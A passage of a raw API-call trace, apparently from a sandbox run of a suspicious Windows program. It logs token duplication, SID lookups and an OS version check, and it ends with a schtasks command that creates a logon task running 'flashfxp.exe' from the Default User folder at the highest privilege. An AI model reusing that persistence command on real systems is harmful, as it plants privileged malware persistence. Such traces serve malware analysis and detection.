(hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0163.649] malloc (_Size=0x18) returned 0x2af1a0 [0163.649] DuplicateTokenEx (in: hExistingToken=0x2ac, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x1ec) returned 1 [0163.649] malloc (_Size=0x48) returned 0x2ad680 [0163.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2daee9a0, dwHighDateTime=0x1d8a92a)) [0163.649] SetEvent (hEvent=0x1f0) returned 1 [0163.651] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0163.651] GetLastError () returned 0x7a [0163.651] malloc (_Size=0x2c) returned 0x2b8b10 [0163.651] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0163.651] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0163.651] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0163.651] malloc (_Size=0x1c) returned 0x2b8710 [0163.651] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0163.651] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0163.651] malloc (_Size=0x18) returned 0x2af1a0 [0163.652] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0163.652] malloc (_Size=0x18) returned 0x2af180 [0163.652] malloc (_Size=0x18) returned 0x2af280 [0163.652] SysStringLen (param_1="S-1-") returned 0x4 [0163.652] SysStringLen (param_1="5") returned 0x1 [0163.652] memcpy (in: _Dst=0x1424e8, _Src=0x142308, _Size=0xa | out: _Dst=0x1424e8) returned 0x1424e8 [0163.652] memcpy (in: _Dst=0x1424f0, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f0) returned 0x1424f0 [0163.652] free (_Block=0x2af1a0) [0163.652] free (_Block=0x2af180) [0163.652] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0163.652] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0163.652] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0163.652] malloc (_Size=0x18) returned 0x2af180 [0163.652] malloc (_Size=0x18) returned 0x2af1a0 [0163.652] SysStringLen (param_1="S-1-5") returned 0x5 [0163.652] SysStringLen (param_1="-") returned 0x1 [0163.652] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xc | out: _Dst=0x1424b8) returned 0x1424b8 [0163.652] memcpy (in: _Dst=0x1424c2, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c2) returned 0x1424c2 [0163.652] free (_Block=0x2af280) [0163.653] free (_Block=0x2af180) [0163.653] malloc (_Size=0x18) returned 0x2af180 [0163.653] malloc (_Size=0x18) returned 0x2af280 [0163.653] SysStringLen (param_1="S-1-5-") returned 0x6 [0163.653] SysStringLen (param_1="21") returned 0x2 [0163.653] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xe | out: _Dst=0x142308) returned 0x142308 [0163.653] memcpy (in: _Dst=0x142314, _Src=0x1424e8, _Size=0x6 | out: _Dst=0x142314) returned 0x142314 [0163.654] free (_Block=0x2af1a0) [0163.654] free (_Block=0x2af180) [0163.654] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0163.654] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0163.654] malloc (_Size=0x18) returned 0x2af180 [0163.654] malloc (_Size=0x18) returned 0x2af1a0 [0163.654] SysStringLen (param_1="S-1-5-21") returned 0x8 [0163.654] SysStringLen (param_1="-") returned 0x1 [0163.654] memcpy (in: _Dst=0x1424e8, _Src=0x142308, _Size=0x12 | out: _Dst=0x1424e8) returned 0x1424e8 [0163.654] memcpy (in: _Dst=0x1424f8, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f8) returned 0x1424f8 [0163.654] free (_Block=0x2af280) [0163.654] free (_Block=0x2af180) [0163.654] malloc (_Size=0x18) returned 0x2af180 [0163.655] malloc (_Size=0x18) returned 0x2af280 [0163.655] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0163.655] SysStringLen (param_1="4219442223") returned 0xa [0163.655] memcpy (in: _Dst=0x117ef8, _Src=0x1424e8, _Size=0x14 | out: _Dst=0x117ef8) returned 0x117ef8 [0163.655] memcpy (in: _Dst=0x117f0a, _Src=0x142308, _Size=0x16 | out: _Dst=0x117f0a) returned 0x117f0a [0163.655] free (_Block=0x2af1a0) [0163.655] free (_Block=0x2af180) [0163.655] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0163.655] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0163.655] malloc (_Size=0x18) returned 0x2af180 [0163.655] malloc (_Size=0x18) returned 0x2af1a0 [0163.655] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0163.655] SysStringLen (param_1="-") returned 0x1 [0163.655] memcpy (in: _Dst=0x1179f8, _Src=0x117ef8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0163.655] memcpy (in: _Dst=0x117a1e, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0163.655] free (_Block=0x2af280) [0163.655] free (_Block=0x2af180) [0163.655] malloc (_Size=0x18) returned 0x2af180 [0163.655] malloc (_Size=0x18) returned 0x2af280 [0163.655] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0163.655] SysStringLen (param_1="4223814209") returned 0xa [0163.656] memcpy (in: _Dst=0x12d6f8, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0163.656] memcpy (in: _Dst=0x12d720, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0163.656] free (_Block=0x2af1a0) [0163.656] free (_Block=0x2af180) [0163.656] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0163.656] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0163.656] malloc (_Size=0x18) returned 0x2af180 [0163.656] malloc (_Size=0x18) returned 0x2af1a0 [0163.656] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0163.656] SysStringLen (param_1="-") returned 0x1 [0163.656] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x171608) returned 0x171608 [0163.656] memcpy (in: _Dst=0x171644, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x171644) returned 0x171644 [0163.656] free (_Block=0x2af280) [0163.656] free (_Block=0x2af180) [0163.656] malloc (_Size=0x18) returned 0x2af180 [0163.656] malloc (_Size=0x18) returned 0x2af280 [0163.656] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0163.656] SysStringLen (param_1="3835049652") returned 0xa [0163.656] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0163.656] memcpy (in: _Dst=0x12d736, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0163.657] free (_Block=0x2af1a0) [0163.657] free (_Block=0x2af180) [0163.657] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0163.657] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0163.657] malloc (_Size=0x18) returned 0x2af180 [0163.657] malloc (_Size=0x18) returned 0x2af1a0 [0163.657] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0163.657] SysStringLen (param_1="-") returned 0x1 [0163.657] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x171608) returned 0x171608 [0163.657] memcpy (in: _Dst=0x17165a, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x17165a) returned 0x17165a [0163.657] free (_Block=0x2af280) [0163.657] free (_Block=0x2af180) [0163.657] malloc (_Size=0x18) returned 0x2af180 [0163.657] malloc (_Size=0x18) returned 0x2af280 [0163.657] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0163.657] SysStringLen (param_1="1000") returned 0x4 [0163.657] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0163.657] memcpy (in: _Dst=0x12d74c, _Src=0x1424e8, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0163.657] free (_Block=0x2af1a0) [0163.657] free (_Block=0x2af180) [0163.657] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0163.658] malloc (_Size=0x5e) returned 0x2b0ad0 [0163.658] free (_Block=0x2af280) [0163.658] malloc (_Size=0x18) returned 0x2af280 [0163.658] free (_Block=0x2b0ad0) [0163.658] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0163.659] GetLastError () returned 0x7a [0163.659] malloc (_Size=0x14) returned 0x2af180 [0163.659] malloc (_Size=0x16) returned 0x2af1a0 [0163.659] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xe7ca84, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0163.660] malloc (_Size=0x18) returned 0x2af260 [0163.660] malloc (_Size=0x18) returned 0x2af240 [0163.660] free (_Block=0x2af180) [0163.660] free (_Block=0x2af1a0) [0163.660] free (_Block=0x2b8710) [0163.660] free (_Block=0x2af240) [0163.660] free (_Block=0x2af260) [0163.660] free (_Block=0x2af280) [0163.661] free (_Block=0x2b8b10) [0163.661] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0163.661] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0163.661] GetLastError () returned 0x7a [0163.661] malloc (_Size=0x2c) returned 0x2b8b50 [0163.661] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0163.661] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0163.661] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0163.661] malloc (_Size=0x1c) returned 0x2b8710 [0163.661] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0163.661] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0163.661] malloc (_Size=0x18) returned 0x2af280 [0163.661] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0163.661] malloc (_Size=0x18) returned 0x2af260 [0163.661] malloc (_Size=0x18) returned 0x2af240 [0163.662] SysStringLen (param_1="S-1-") returned 0x4 [0163.662] SysStringLen (param_1="5") returned 0x1 [0163.662] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xa | out: _Dst=0x142308) returned 0x142308 [0163.662] memcpy (in: _Dst=0x142310, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142310) returned 0x142310 [0163.662] free (_Block=0x2af280) [0163.662] free (_Block=0x2af260) [0163.662] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0163.662] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0163.662] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0163.662] malloc (_Size=0x18) returned 0x2af260 [0163.662] malloc (_Size=0x18) returned 0x2af280 [0163.662] SysStringLen (param_1="S-1-5") returned 0x5 [0163.662] SysStringLen (param_1="-") returned 0x1 [0163.662] memcpy (in: _Dst=0x1424e8, _Src=0x142308, _Size=0xc | out: _Dst=0x1424e8) returned 0x1424e8 [0163.662] memcpy (in: _Dst=0x1424f2, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f2) returned 0x1424f2 [0163.662] free (_Block=0x2af240) [0163.662] free (_Block=0x2af260) [0163.662] malloc (_Size=0x18) returned 0x2af260 [0163.662] malloc (_Size=0x18) returned 0x2af240 [0163.662] SysStringLen (param_1="S-1-5-") returned 0x6 [0163.662] SysStringLen (param_1="21") returned 0x2 [0163.663] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xe | out: _Dst=0x1424b8) returned 0x1424b8 [0163.663] memcpy (in: _Dst=0x1424c4, _Src=0x142308, _Size=0x6 | out: _Dst=0x1424c4) returned 0x1424c4 [0163.663] free (_Block=0x2af280) [0163.663] free (_Block=0x2af260) [0163.663] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0163.663] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0163.663] malloc (_Size=0x18) returned 0x2af260 [0163.663] malloc (_Size=0x18) returned 0x2af280 [0163.663] SysStringLen (param_1="S-1-5-21") returned 0x8 [0163.663] SysStringLen (param_1="-") returned 0x1 [0163.663] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0x12 | out: _Dst=0x142308) returned 0x142308 [0163.663] memcpy (in: _Dst=0x142318, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142318) returned 0x142318 [0163.663] free (_Block=0x2af240) [0163.663] free (_Block=0x2af260) [0163.663] malloc (_Size=0x18) returned 0x2af260 [0163.663] malloc (_Size=0x18) returned 0x2af240 [0163.663] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0163.663] SysStringLen (param_1="4219442223") returned 0xa [0163.663] memcpy (in: _Dst=0x117ef8, _Src=0x142308, _Size=0x14 | out: _Dst=0x117ef8) returned 0x117ef8 [0163.663] memcpy (in: _Dst=0x117f0a, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x117f0a) returned 0x117f0a [0163.663] free (_Block=0x2af280) [0163.664] free (_Block=0x2af260) [0163.664] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0163.664] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0163.664] malloc (_Size=0x18) returned 0x2af260 [0163.664] malloc (_Size=0x18) returned 0x2af280 [0163.664] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0163.664] SysStringLen (param_1="-") returned 0x1 [0163.664] memcpy (in: _Dst=0x1179f8, _Src=0x117ef8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0163.664] memcpy (in: _Dst=0x117a1e, _Src=0x142308, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0163.664] free (_Block=0x2af240) [0163.664] free (_Block=0x2af260) [0163.664] malloc (_Size=0x18) returned 0x2af260 [0163.664] malloc (_Size=0x18) returned 0x2af240 [0163.664] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0163.664] SysStringLen (param_1="4223814209") returned 0xa [0163.664] memcpy (in: _Dst=0x171608, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x171608) returned 0x171608 [0163.664] memcpy (in: _Dst=0x171630, _Src=0x142308, _Size=0x16 | out: _Dst=0x171630) returned 0x171630 [0163.664] free (_Block=0x2af280) [0163.664] free (_Block=0x2af260) [0163.664] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0163.664] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0163.665] malloc (_Size=0x18) returned 0x2af260 [0163.665] malloc (_Size=0x18) returned 0x2af280 [0163.665] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0163.665] SysStringLen (param_1="-") returned 0x1 [0163.665] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0163.665] memcpy (in: _Dst=0x12d734, _Src=0x142308, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0163.665] free (_Block=0x2af240) [0163.665] free (_Block=0x2af260) [0163.665] malloc (_Size=0x18) returned 0x2af260 [0163.665] malloc (_Size=0x18) returned 0x2af240 [0163.665] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0163.665] SysStringLen (param_1="3835049652") returned 0xa [0163.665] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x171608) returned 0x171608 [0163.665] memcpy (in: _Dst=0x171646, _Src=0x142308, _Size=0x16 | out: _Dst=0x171646) returned 0x171646 [0163.665] free (_Block=0x2af280) [0163.665] free (_Block=0x2af260) [0163.665] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0163.665] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0163.665] malloc (_Size=0x18) returned 0x2af260 [0163.666] malloc (_Size=0x18) returned 0x2af280 [0163.666] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0163.666] SysStringLen (param_1="-") returned 0x1 [0163.666] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0163.666] memcpy (in: _Dst=0x12d74a, _Src=0x142308, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0163.666] free (_Block=0x2af240) [0163.666] free (_Block=0x2af260) [0163.666] malloc (_Size=0x18) returned 0x2af260 [0163.666] malloc (_Size=0x18) returned 0x2af240 [0163.666] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0163.666] SysStringLen (param_1="1000") returned 0x4 [0163.666] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x171608) returned 0x171608 [0163.666] memcpy (in: _Dst=0x17165c, _Src=0x142308, _Size=0xa | out: _Dst=0x17165c) returned 0x17165c [0163.666] free (_Block=0x2af280) [0163.666] free (_Block=0x2af260) [0163.666] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0163.666] malloc (_Size=0x5e) returned 0x2b0ad0 [0163.666] free (_Block=0x2af240) [0163.666] malloc (_Size=0x18) returned 0x2af240 [0163.667] free (_Block=0x2b0ad0) [0163.667] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0163.668] GetLastError () returned 0x7a [0163.668] malloc (_Size=0x14) returned 0x2af260 [0163.668] malloc (_Size=0x16) returned 0x2af280 [0163.668] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca94, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0163.669] malloc (_Size=0x18) returned 0x2af1a0 [0163.669] malloc (_Size=0x18) returned 0x2af180 [0163.669] free (_Block=0x2af260) [0163.669] free (_Block=0x2af280) [0163.669] free (_Block=0x2b8710) [0163.669] free (_Block=0x2af180) [0163.669] free (_Block=0x2af1a0) [0163.669] free (_Block=0x2af240) [0163.669] free (_Block=0x2b8b50) [0163.670] malloc (_Size=0x48) returned 0x2ad680 [0163.670] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0163.674] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0163.675] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0163.675] malloc (_Size=0x18) returned 0x2af240 [0163.675] CreateEnvironmentBlock () returned 0x1 [0163.700] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0163.700] malloc (_Size=0x18) returned 0x2af1a0 [0163.700] CreateProcessAsUserW (in: hToken=0x1ec, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"flashfxp\" /sc ONLOGON /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, 